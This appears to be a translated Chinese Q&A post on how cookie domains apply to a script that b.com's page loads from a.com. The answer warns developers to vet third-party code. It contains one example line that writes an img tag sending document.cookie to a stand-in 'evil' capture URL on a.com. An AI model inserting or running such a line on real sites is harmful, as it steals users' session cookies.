我在网上阅读了很多有关 cookie 的内容,但没有解决这个问题:假设我在 a.com 上有一台服务器,而 b.com 提供的网页在我的服务器上的该网页中嵌入了一个脚本:
<script src='a.com/script.js'></script>
该脚本在设置 cookie 方面可以做什么?它可以设置一个cookie吗domain=a.com
?我认为是这样,因为脚本是从该域提供的。它还可以设置一个cookie吗domain=b.com
因为该页面是从该服务器提供的?
我试图了解从另一个主机的网页调用的脚本上下文中“第一方”和“第三方”的含义。
我不认为 .js 文件的来源是相关的。 cookie 域与正在呈现的文档的域有关。
如果我访问http://www.b.com/
它包括
<script src="http://www.a.com/some/file.js"></script>
那么 b.com 就信任 a.com 的代码会善意行事。该代码作为正在查看的页面的一部分执行。由于javascript代码将在浏览器中执行,因此它可以从以下位置读取cookieb.com
并通过在文档中创建标签来传递该数据,其中src
包括数据。
例如,如果 a.com 的 javascript 文件包含
document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");
然后,a.com 的恶意网站管理员可以检查其 Web 服务器日志并查看 b.com 的 cookie。
因此,问题是,如果 a.com 是恶意的,为什么 b.com 在其页面中包含 a.com 的代码?他们可能没有。作为网络开发人员,我们需要验证我们嵌入网站中的任何第三方代码的可信度。
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)